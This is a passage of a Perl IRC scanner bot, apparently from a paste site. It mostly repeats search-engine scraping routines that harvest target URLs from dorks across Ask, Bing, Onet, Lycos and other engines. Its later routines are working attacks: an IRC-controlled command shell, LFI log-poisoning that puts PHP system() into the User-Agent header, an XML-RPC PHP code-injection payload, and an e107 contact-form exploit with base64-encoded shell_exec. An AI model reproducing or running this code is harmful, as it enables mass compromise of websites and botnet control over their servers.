  2862. my $link = $1;
  2863. if ($link !~ /askNO\.com/){
  2864. my @grep = links($link);
  2865. push(@list,@grep);
  2866. }
  2867. }
  2868. }
  2869. return @list;
  2870. }
  2871. sleep(4);
  2872. sub askAU() {
  2873. my @list;
  2874. my $key = $_[0];
  2875. for (my $i=1; $i<=100; $i+=1) {
  2876. my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2877. my $res = &search_engine_query($search);
  2878. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2879. my $link = $1;
  2880. if ($link !~ /askAU\.com/){
  2881. my @grep = links($link);
  2882. push(@list,@grep);
  2883. }
  2884. }
  2885. }
  2886. return @list;
  2887. }
  2888.  
  2889. sub askBR() {
  2890. my @list;
  2891. my $key = $_[0];
  2892. for (my $i=1; $i<=100; $i+=1) {
  2893. my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2894. my $res = &search_engine_query($search);
  2895. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2896. my $link = $1;
  2897. if ($link !~ /askBR\.com/){
  2898. my @grep = links($link);
  2899. push(@list,@grep);
  2900. }
  2901. }
  2902. }
  2903. return @list;
  2904. }
  2905.  
  2906. sub askMX() {
  2907. my @list;
  2908. my $key = $_[0];
  2909. for (my $i=1; $i<=100; $i+=1) {
  2910. my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2911. my $res = &search_engine_query($search);
  2912. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2913. my $link = $1;
  2914. if ($link !~ /askMX\.com/){
  2915. my @grep = links($link);
  2916. push(@list,@grep);
  2917. }
  2918. }
  2919. }
  2920. return @list;
  2921. }
  2922. sleep(4);
  2923. sub askJP() {
  2924. my @list;
  2925. my $key = $_[0];
  2926. for (my $i=1; $i<=100; $i+=1) {
  2927. my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2928. my $res = &search_engine_query($search);
  2929. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2930. my $link = $1;
  2931. if ($link !~ /askJP\.com/){
  2932. my @grep = links($link);
  2933. push(@list,@grep);
  2934. }
  2935. }
  2936. }
  2937. return @list;
  2938. }
  2939.  
  2940. sub onet() {
  2941. my @list;
  2942. my $key = $_[0];
  2943. my $b = 0;
  2944. for ($b=1; $b<=400; $b+=10) {
  2945. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  2946. my $res = &search_engine_query($search);
  2947. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  2948. my $link = $1;
  2949. if ($link !~ /onet|webcache|query/){
  2950. my @grep = &links($link);
  2951. push(@list,@grep);
  2952. }
  2953. }
  2954. }
  2955. return @list;
  2956. }
  2957.  
  2958. sub clusty() {
  2959. my @list;
  2960. my $key = $_[0];
  2961. my $b = 0;
  2962. for ($b=10; $b<=200; $b+=10) {
  2963. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  2964. my $res = &search_engine_query($search);
  2965. if ($res !~ /next/) {$b=100;}
  2966. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  2967. my $link = $1;
  2968. if ($1 !~ /yippy\.com/){
  2969. my @grep = &links($link);
  2970. push(@list,@grep);
  2971. }
  2972. }
  2973. }
  2974. return @list;
  2975. }
  2976.  
  2977. sub bing() {
  2978. my @list;
  2979. my $key = $_[0];
  2980. for (my $i=1; $i<=400; $i+=10) {
  2981. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  2982. my $res = &search_engine_query($search);
  2983. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2984. my $link = $1;
  2985. if ($link !~ /google/) {
  2986. my @grep = &links($link);
  2987. push(@list,@grep);
  2988. }
  2989. }
  2990. }
  2991. return @list;
  2992. }
  2993.  
  2994. sub bingDE() {
  2995. my @list;
  2996. my $key = $_[0];
  2997. for (my $i=1; $i<=1000; $i+=10) {
  2998. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  2999. my $res = &search_engine_query($search);
  3000. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3001. my $link = $1;
  3002. if ($link !~ /msn|live|bingDE/) {
  3003. my @grep = links($link);
  3004. push(@list,@grep);
  3005. }
  3006. }
  3007. }
  3008. return @list;
  3009. }
  3010. sleep(4);
  3011. sub bingUK() {
  3012. my @list;
  3013. my $key = $_[0];
  3014. for (my $i=1; $i<=1000; $i+=10) {
  3015. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  3016. my $res = &search_engine_query($search);
  3017. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3018. my $link = $1;
  3019. if ($link !~ /msn|live|bingUK/) {
  3020. my @grep = links($link);
  3021. push(@list,@grep);
  3022. }
  3023. }
  3024. }
  3025. return @list;
  3026. }
  3027.  
  3028. sub bingCA() {
  3029. my @list;
  3030. my $key = $_[0];
  3031. for (my $i=1; $i<=1000; $i+=10) {
  3032. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  3033. my $res = &search_engine_query($search);
  3034. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3035. my $link = $1;
  3036. if ($link !~ /msn|live|bingCA/) {
  3037. my @grep = links($link);
  3038. push(@list,@grep);
  3039. }
  3040. }
  3041. }
  3042. return @list;
  3043. }
  3044.  
  3045. sub bingBR() {
  3046. my @list;
  3047. my $key = $_[0];
  3048. for (my $i=1; $i<=1000; $i+=10) {
  3049. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  3050. my $res = &search_engine_query($search);
  3051. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3052. my $link = $1;
  3053. if ($link !~ /msn|live|bingBR/) {
  3054. my @grep = links($link);
  3055. push(@list,@grep);
  3056. }
  3057. }
  3058. }
  3059. return @list;
  3060. }
  3061.  
  3062. sub bingFR() {
  3063. my @list;
  3064. my $key = $_[0];
  3065. for (my $i=1; $i<=1000; $i+=10) {
  3066. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  3067. my $res = &search_engine_query($search);
  3068. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3069. my $link = $1;
  3070. if ($link !~ /msn|live|bingFR/) {
  3071. my @grep = links($link);
  3072. push(@list,@grep);
  3073. }
  3074. }
  3075. }
  3076. return @list;
  3077. }
  3078.  
  3079. sub bingES() {
  3080. my @list;
  3081. my $key = $_[0];
  3082. for (my $i=1; $i<=1000; $i+=10) {
  3083. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  3084. my $res = &search_engine_query($search);
  3085. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3086. my $link = $1;
  3087. if ($link !~ /msn|live|bingES/) {
  3088. my @grep = links($link);
  3089. push(@list,@grep);
  3090. }
  3091. }
  3092. }
  3093. return @list;
  3094. }
  3095.  
  3096. sub bingIT() {
  3097. my @list;
  3098. my $key = $_[0];
  3099. for (my $i=1; $i<=1000; $i+=10) {
  3100. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  3101. my $res = &search_engine_query($search);
  3102. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3103. my $link = $1;
  3104. if ($link !~ /msn|live|bingIT/) {
  3105. my @grep = links($link);
  3106. push(@list,@grep);
  3107. }
  3108. }
  3109. }
  3110. return @list;
  3111. }
  3112. sleep(4);
  3113. sub bingBE() {
  3114. my @list;
  3115. my $key = $_[0];
  3116. for (my $i=1; $i<=1000; $i+=10) {
  3117. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  3118. my $res = &search_engine_query($search);
  3119. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3120. my $link = $1;
  3121. if ($link !~ /msn|live|bingBE/) {
  3122. my @grep = links($link);
  3123. push(@list,@grep);
  3124. }
  3125. }
  3126. }
  3127. return @list;
  3128. }
  3129.  
  3130. sub bingNL() {
  3131. my @list;
  3132. my $key = $_[0];
  3133. for (my $i=1; $i<=1000; $i+=10) {
  3134. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  3135. my $res = &search_engine_query($search);
  3136. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3137. my $link = $1;
  3138. if ($link !~ /msn|live|bingNL/) {
  3139. my @grep = links($link);
  3140. push(@list,@grep);
  3141. }
  3142. }
  3143. }
  3144. return @list;
  3145. }
  3146.  
  3147. sub bingPT() {
  3148. my @list;
  3149. my $key = $_[0];
  3150. for (my $i=1; $i<=1000; $i+=10) {
  3151. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  3152. my $res = &search_engine_query($search);
  3153. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3154. my $link = $1;
  3155. if ($link !~ /msn|live|bingPT/) {
  3156. my @grep = links($link);
  3157. push(@list,@grep);
  3158. }
  3159. }
  3160. }
  3161. return @list;
  3162. }
  3163.  
  3164. sub bingNO() {
  3165. my @list;
  3166. my $key = $_[0];
  3167. for (my $i=1; $i<=1000; $i+=10) {
  3168. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  3169. my $res = &search_engine_query($search);
  3170. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3171. my $link = $1;
  3172. if ($link !~ /msn|live|bingNO/) {
  3173. my @grep = links($link);
  3174. push(@list,@grep);
  3175. }
  3176. }
  3177. }
  3178. return @list;
  3179. }
  3180.  
  3181. sub bingDK() {
  3182. my @list;
  3183. my $key = $_[0];
  3184. for (my $i=1; $i<=1000; $i+=10) {
  3185. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  3186. my $res = &search_engine_query($search);
  3187. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3188. my $link = $1;
  3189. if ($link !~ /msn|live|bingDK/) {
  3190. my @grep = links($link);
  3191. push(@list,@grep);
  3192. }
  3193. }
  3194. }
  3195. return @list;
  3196. }
  3197.  
  3198. sub bingSE() {
  3199. my @list;
  3200. my $key = $_[0];
  3201. for (my $i=1; $i<=1000; $i+=10) {
  3202. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  3203. my $res = &search_engine_query($search);
  3204. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3205. my $link = $1;
  3206. if ($link !~ /msn|live|bingSE/) {
  3207. my @grep = links($link);
  3208. push(@list,@grep);
  3209. }
  3210. }
  3211. }
  3212. return @list;
  3213. }
  3214. sleep(4);
  3215. sub bingCH() {
  3216. my @list;
  3217. my $key = $_[0];
  3218. for (my $i=1; $i<=1000; $i+=10) {
  3219. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  3220. my $res = &search_engine_query($search);
  3221. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3222. my $link = $1;
  3223. if ($link !~ /msn|live|bingCH/) {
  3224. my @grep = links($link);
  3225. push(@list,@grep);
  3226. }
  3227. }
  3228. }
  3229. return @list;
  3230. }
  3231.  
  3232. sub bingNZ() {
  3233. my @list;
  3234. my $key = $_[0];
  3235. for (my $i=1; $i<=1000; $i+=10) {
  3236. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  3237. my $res = &search_engine_query($search);
  3238. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3239. my $link = $1;
  3240. if ($link !~ /msn|live|bingNZ/) {
  3241. my @grep = links($link);
  3242. push(@list,@grep);
  3243. }
  3244. }
  3245. }
  3246. return @list;
  3247. }
  3248.  
  3249. sub bingRU() {
  3250. my @list;
  3251. my $key = $_[0];
  3252. for (my $i=1; $i<=1000; $i+=10) {
  3253. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  3254. my $res = &search_engine_query($search);
  3255. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3256. my $link = $1;
  3257. if ($link !~ /msn|live|bingRU/) {
  3258. my @grep = links($link);
  3259. push(@list,@grep);
  3260. }
  3261. }
  3262. }
  3263. return @list;
  3264. }
  3265.  
  3266. sub bingJP() {
  3267. my @list;
  3268. my $key = $_[0];
  3269. for (my $i=1; $i<=1000; $i+=10) {
  3270. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  3271. my $res = &search_engine_query($search);
  3272. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3273. my $link = $1;
  3274. if ($link !~ /msn|live|bingJP/) {
  3275. my @grep = links($link);
  3276. push(@list,@grep);
  3277. }
  3278. }
  3279. }
  3280. return @list;
  3281. }
  3282.  
  3283. sub bingCN() {
  3284. my @list;
  3285. my $key = $_[0];
  3286. for (my $i=1; $i<=1000; $i+=10) {
  3287. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  3288. my $res = &search_engine_query($search);
  3289. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3290. my $link = $1;
  3291. if ($link !~ /msn|live|bingCN/) {
  3292. my @grep = links($link);
  3293. push(@list,@grep);
  3294. }
  3295. }
  3296. }
  3297. return @list;
  3298. }
  3299.  
  3300. sub bingKR() {
  3301. my @list;
  3302. my $key = $_[0];
  3303. for (my $i=1; $i<=1000; $i+=10) {
  3304. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  3305. my $res = &search_engine_query($search);
  3306. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3307. my $link = $1;
  3308. if ($link !~ /msn|live|bingKR/) {
  3309. my @grep = links($link);
  3310. push(@list,@grep);
  3311. }
  3312. }
  3313. }
  3314. return @list;
  3315. }
  3316. sleep(4);
  3317. sub bingMX() {
  3318. my @list;
  3319. my $key = $_[0];
  3320. for (my $i=1; $i<=1000; $i+=10) {
  3321. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  3322. my $res = &search_engine_query($search);
  3323. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3324. my $link = $1;
  3325. if ($link !~ /msn|live|bingMX/) {
  3326. my @grep = links($link);
  3327. push(@list,@grep);
  3328. }
  3329. }
  3330. }
  3331. return @list;
  3332. }
  3333.  
  3334. sub bingAR() {
  3335. my @list;
  3336. my $key = $_[0];
  3337. for (my $i=1; $i<=1000; $i+=10) {
  3338. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  3339. my $res = &search_engine_query($search);
  3340. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3341. my $link = $1;
  3342. if ($link !~ /msn|live|bingAR/) {
  3343. my @grep = links($link);
  3344. push(@list,@grep);
  3345. }
  3346. }
  3347. }
  3348. return @list;
  3349. }
  3350.  
  3351. sub bingCL() {
  3352. my @list;
  3353. my $key = $_[0];
  3354. for (my $i=1; $i<=1000; $i+=10) {
  3355. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  3356. my $res = &search_engine_query($search);
  3357. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3358. my $link = $1;
  3359. if ($link !~ /msn|live|bingCL/) {
  3360. my @grep = links($link);
  3361. push(@list,@grep);
  3362. }
  3363. }
  3364. }
  3365. return @list;
  3366. }
  3367.  
  3368. sub bingAU() {
  3369. my @list;
  3370. my $key = $_[0];
  3371. for (my $i=1; $i<=1000; $i+=10) {
  3372. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  3373. my $res = &search_engine_query($search);
  3374. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3375. my $link = $1;
  3376. if ($link !~ /msn|live|bingAU/) {
  3377. my @grep = links($link);
  3378. push(@list,@grep);
  3379. }
  3380. }
  3381. }
  3382. return @list;
  3383. }
  3384.  
  3385. sub sapo(){
  3386. my @list;
  3387. my $key = $_[0];
  3388. for ($b=1; $b<=50; $b+=1) {
  3389. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  3390. my $res = &search_engine_query($search);
  3391. if ($res !~ m/Next/i) {$b=50;}
  3392. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  3393. my $link = $1;
  3394. if ($1 !~ /\.sapo\.pt/){
  3395. my @grep = &links($link);
  3396. push(@list,@grep);
  3397. }
  3398. }
  3399. }
  3400. return @list;
  3401. }
  3402.  
  3403. sub lycos() {
  3404. my @list;
  3405. my $key = $_[0];
  3406. for ($b=0; $b<=50; $b+=1) {
  3407. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  3408. my $res = &search_engine_query($search);
  3409. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  3410. my $link = $1;
  3411. if ($link !~ /lycos/){
  3412. my @grep = &links($link);
  3413. push(@list,@grep);
  3414. }
  3415. }
  3416. }
  3417. return @list;
  3418. }
  3419.  
  3420. sub uol() {
  3421. my @list;
  3422. my $key = $_[0];
  3423. for ($b=0; $b<=1000; $b+=10) {
  3424. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  3425. my $res = &search_engine_query($search);
  3426. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  3427. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  3428. my $link = $1;
  3429. if ($link !~ /uol\.com\.br|\/web/i){
  3430. my @grep = &links($link);
  3431. push(@list,@grep);
  3432. }
  3433. }
  3434. }
  3435. return @list;
  3436. }
  3437.  
  3438. sub seznam() {
  3439. my @list;
  3440. my $key = $_[0];
  3441. for ($b=1; $b<=300; $b+=20) {
  3442. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  3443. my $res = &search_engine_query($search);
  3444. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  3445. my $link = $1;
  3446. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  3447. my @grep = &links($link);
  3448. push(@list,@grep);
  3449. }
  3450. }
  3451. }
  3452. return @list;
  3453. }
  3454.  
  3455. sub hotbot() {
  3456. my @list;
  3457. my $key = $_[0];
  3458. for ($b=0; $b<=50; $b+=1) {
  3459. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  3460. my $res = &search_engine_query($search);
  3461. if ($res =~ m/had no web result/i) {$b=50;}
  3462. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  3463. my $link = $1;
  3464. if ($link !~ /hotbot\.com/){
  3465. my @grep = &links($link);
  3466. push(@list,@grep);
  3467. }
  3468. }
  3469. }
  3470. return @list;
  3471. }
  3472.  
  3473. sub aol() {
  3474. my @list;
  3475. my $key = $_[0];
  3476. for ($b=0; $b<=300; $b+=10) {
  3477. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  3478. my $res = &search_engine_query($search);
  3479. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  3480. my $link = $1;
  3481. if ($link !~ /aol\.com/){
  3482. my @grep = &links($link);
  3483. push(@list,@grep);
  3484. }
  3485. }
  3486. }
  3487. return @list;
  3488. }
  3489.  
  3490. sub biglobe {
  3491. my $key = $_[0];
  3492. my @list;
  3493. for ($b=1; $b<=500; $b+=10) {
  3494. $num += $num;
  3495. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  3496. my $res = &search_engine_query($search);
  3497. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  3498. my $link = $1;
  3499. if ($link !~ /biglobe/){
  3500. my @grep = &links($link);
  3501. push(@list,@grep);
  3502. }
  3503. }
  3504. }
  3505. return @list;
  3506. }
  3507.  
  3508. #########################################
  3509.  
  3510. sub clean() {
  3511. my @cln = ();
  3512. my %visit = ();
  3513. foreach my $element (@_) {
  3514. $element =~ s/\/+/\//g;
  3515. next if $visit{$element}++;
  3516. push @cln, $element;
  3517. }
  3518. return @cln;
  3519. }
  3520.  
  3521. sub links() {
  3522. my @list;
  3523. my $link = $_[0];
  3524. my $host = $_[0];
  3525. my $hdir = $_[0];
  3526. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  3527. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3528. $host .= "/";
  3529. $link .= "/";
  3530. $hdir .= "/";
  3531. $host =~ s/\/\//\//g;
  3532. $hdir =~ s/\/\//\//g;
  3533. $link =~ s/\/\//\//g;
  3534. push(@list,$host,$hdir);
  3535. return @list;
  3536. }
  3537.  
  3538. sub search_engine_query() {
  3539. my $url = $_[0];
  3540. $url =~ s/http:\/\///;
  3541. my $host = $url;
  3542. my $query = $url;
  3543. my $page = "";
  3544. $host =~ s/href=\"?http:\/\///;
  3545. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3546. $query =~ s/$host//;
  3547. if ($query eq "") { $query = "/"; }
  3548. eval {
  3549. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  3550. my $sget = "GET $query HTTP/1.0\r\n";
  3551. $sget .= "Host: $host\r\n";
  3552. $sget .= "Accept: */*\r\n";
  3553. $sget .= "User-Agent: $uagent\r\n";
  3554. $sget .= "Connetion: Close\r\n\r\n";
  3555. print $sock $sget;
  3556. my @pages = <$sock>;
  3557. $page = "@pages";
  3558. close($sock);
  3559. };
  3560. return $page;
  3561. }
  3562.  
  3563. #########################################
  3564.  
  3565. sub shell() {
  3566. my $path = $_[0];
  3567. my $cmd = $_[1];
  3568. if ($cmd =~ /cd (.*)/) {
  3569. chdir("$1") || &msg("$path","No such file or directory");
  3570. return;
  3571. }
  3572. elsif ($pid = fork) { waitpid($pid, 0); }
  3573. else { if (fork) { exit; } else {
  3574. my @output = `$cmd 2>&1 3>&1`;
  3575. my $c = 0;
  3576. foreach my $output (@output) {
  3577. $c++;
  3578. chop $output;
  3579. &msg("$path","$output");
  3580. if ($c == 5) { $c = 0; sleep 3; }
  3581. }
  3582. exit;
  3583. }}
  3584. }
  3585.  
  3586. sub isAdmin() {
  3587. my $status = 0;
  3588. my $nick = $_[0];
  3589. if ($nick eq $admin) { $status = 1; }
  3590. return $status;
  3591. }
  3592.  
  3593. sub msg() {
  3594. return unless $#_ == 1;
  3595. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  3596. }
  3597.  
  3598. sub nick() {
  3599. return unless $#_ == 0;
  3600. sendraw("NICK $_[0]");
  3601. }
  3602. sub notice() {
  3603. return unless $#_ == 1;
  3604. sendraw("NOTICE $_[0] :$_[1]");
  3605. }
  3606.  
  3607. sub cmdlfi() {
  3608. my $browser = LWP::UserAgent->new;
  3609. my $url = $_[0];
  3610. my $cmd = $_[1];
  3611. my $chan = $_[2];
  3612. my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
  3613. $browser->agent("$hie");
  3614. $browser->timeout(7);
  3615. $response = $browser->get( $url );
  3616. if ($response->content =~ /lobex(.*)byroe/s) {
  3617. &msg("$chan","$lfilogo9 ".$1." ");
  3618. } else {
  3619. &msg("$chan","$lfilogo15 No Output ");
  3620. }
  3621. }
  3622.  
  3623. sub cmdxml() {
  3624. my $jed = $_[0];
  3625. my $dwa = $_[1];
  3626. my $chan = $_[2];
  3627. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  3628. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  3629. $exploit .= "<methodName>test.method</methodName>";
  3630. $exploit .= "<params><param><value><name>',''));";
  3631. $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  3632. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  3633. if ($response->content =~ /bamby(.*)solo/s) {
  3634. &msg("$chan","$xmllogo9 $1 ");
  3635. } else {
  3636. &msg("$chan","$xmllogo15 No Output ");
  3637. }
  3638. }
  3639.  
  3640. sub cmde107() {
  3641. my $path = $_[0];
  3642. my $code = $_[1];
  3643. my $chan = $_[2];
  3644. my $codecmd = encode_base64($code);
  3645. my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
  3646. my $req = HTTP::Request->new(POST => $path);
  3647. $req->content_type('application/x-www-form-urlencoded');
  3648. $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
  3649. my $ua = LWP::UserAgent->new(agent => $uagent);
  3650. $ua->timeout(7);
  3651. my $res = $ua->request($req);
  3652. my $data = $res->as_string;
  3653. if ( $data =~ /ByroeNet(.*)/ ){
  3654. $mydata = $1;
  3655. &msg("$chan","0,1(0E1070)4 $mydata");
  3656. }
  3657. else { &msg("$chan","0,1(0E1070)4 No Output"); }
  3658. }
  3659.  
  3660. sub read_dorks() {
  3661. my $dork = uri_escape($_[0]);
  3662. my $file = "dorks.txt";
  3663. my $success = 0;
  3664. open (file,"<$file");
  3665. while (my $dorkx=<file>) {
  3666. chop($dorkx);
  3667. if ($dorkx =~ /$dork/){
  3668. $success = 1;
  3669. }
  3670. }
  3671. close file;
  3672. return $success;
  3673. }
  3674.  
  3675. sub write_dorks() {
  3676. my $dorks = uri_escape($_[0]);
  3677. my $file = "dorks.txt";
  3678. open (filex,">>$file");
  3679. print filex $dorks."\n";
  3680. close filex;
  3681. }
Add Comment
Please, Sign In to add comment